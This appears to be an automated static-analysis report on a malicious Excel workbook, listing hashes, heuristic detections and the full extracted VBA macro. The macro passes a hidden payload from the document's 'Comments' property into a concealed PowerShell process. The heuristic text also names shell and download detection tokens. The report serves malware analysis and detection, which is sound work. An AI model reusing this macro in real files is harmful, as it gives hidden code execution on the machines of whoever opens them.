Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e4fed4b7fec1dbce…

MALICIOUS

Office (OOXML)

13.5 KB Created: 2020-10-18 14:21:31 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-10-25
MD5: c97a8af48052174ffdafe2f4e1d104cd SHA-1: aabf2ce6330e4c2d73fabf00266488dd7f520fc9 SHA-256: e4fed4b7fec1dbce7ebedf3f47ee43b7a48e1eb586e9747cbaee89966bd7ca8d
220 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set ws = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set ws = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 987 bytes
SHA-256: a5586e7d60fae01ae29bc8d412a5aaf08431f129025a7f0d8276f5cef86992d3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub WorkbookOpen()
    Dim author As String
    author = ActiveWorkbook.BuiltinDocumentProperties("Comments")
    
    Dim ws As Object
    Set ws = CreateObject("WScript.Shell")
    
    With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -")
        .StdIn.WriteLine author
        .StdIn.WriteBlankLines 1
        .Terminate
    End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10240 bytes
SHA-256: b148aa25b561293ff3bd01ca5ff1159384ed980a45caeb2102328d9f9843c21a